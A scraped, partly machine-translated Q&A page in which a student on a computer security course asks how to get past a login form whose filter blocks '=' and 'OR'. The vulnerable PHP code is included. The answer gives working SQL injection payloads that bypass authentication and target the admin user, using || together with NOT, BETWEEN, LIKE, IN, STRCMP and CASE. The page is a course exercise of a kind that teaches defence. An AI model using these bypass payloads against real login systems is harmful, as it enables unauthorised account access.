Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/mysql/57.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
使用php过滤的SQL注入_Php_Mysql_Sql_Sql Injection_Input Filtering - Fatal编程技术网

使用php过滤的SQL注入

使用php过滤的SQL注入,php,mysql,sql,sql-injection,input-filtering,Php,Mysql,Sql,Sql Injection,Input Filtering,我必须为计算机安全课程的练习注入登录表单。。。。 我已经通过了使用简单 ' like 1=1-- 在password字段中,但现在在第二个级别中,我必须再次使用相同的源代码注入相同的登录表单,除了用户和pwd由一个名为lvl2_filter()的函数控制,我认为它是filters.php的一部分,并且不接受“=”和“OR” 我该怎么做 用户名和密码字段不能为空 include_once 'filters.php'; include_once 'config.php'; ?> <?

我必须为计算机安全课程的练习注入登录表单。。。。 我已经通过了使用简单

' like 1=1--
在password字段中,但现在在第二个级别中,我必须再次使用相同的源代码注入相同的登录表单,除了用户和pwd由一个名为lvl2_filter()的函数控制,我认为它是filters.php的一部分,并且不接受“=”和“OR”

我该怎么做

用户名和密码字段不能为空

include_once 'filters.php';
include_once 'config.php';
?>

<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];

if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}

if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) { 
  echo "Hi $user, you are logged in.";
  verify_user($token, $user);
}
else echo "sorry, invalid username or password"; 
}
else { ?>
include_once'filters.php';
包括一次'config.php';
?>
假设它基本上删除了
=
的任何出现,直到再也找不到为止,应该仍然可以使用with
|
而不是
以及计算结果为true的简单表达式,如:

username: dummy
password: ' || '1
这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
要选择特定用户,可以使用,其中
x=y
=
!(x!=y)

username:dummy
密码:'| | NOT(用户名'admin')和'1
这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
从username='dummy'和password=''|| NOT(username'admin')和'1'的用户中选择用户id
这里的
相当于
=但不包含
=

还可以使用其他操作确保username等于
admin

  • “admin”和“admin”之间的用户名
  • 用户名类似于“admin”
  • 用户名在('admin')
  • IF(STRCMP(用户名,'admin'),0,1)
  • CASE STRCMP(用户名,'admin')当0时,则1否则0结束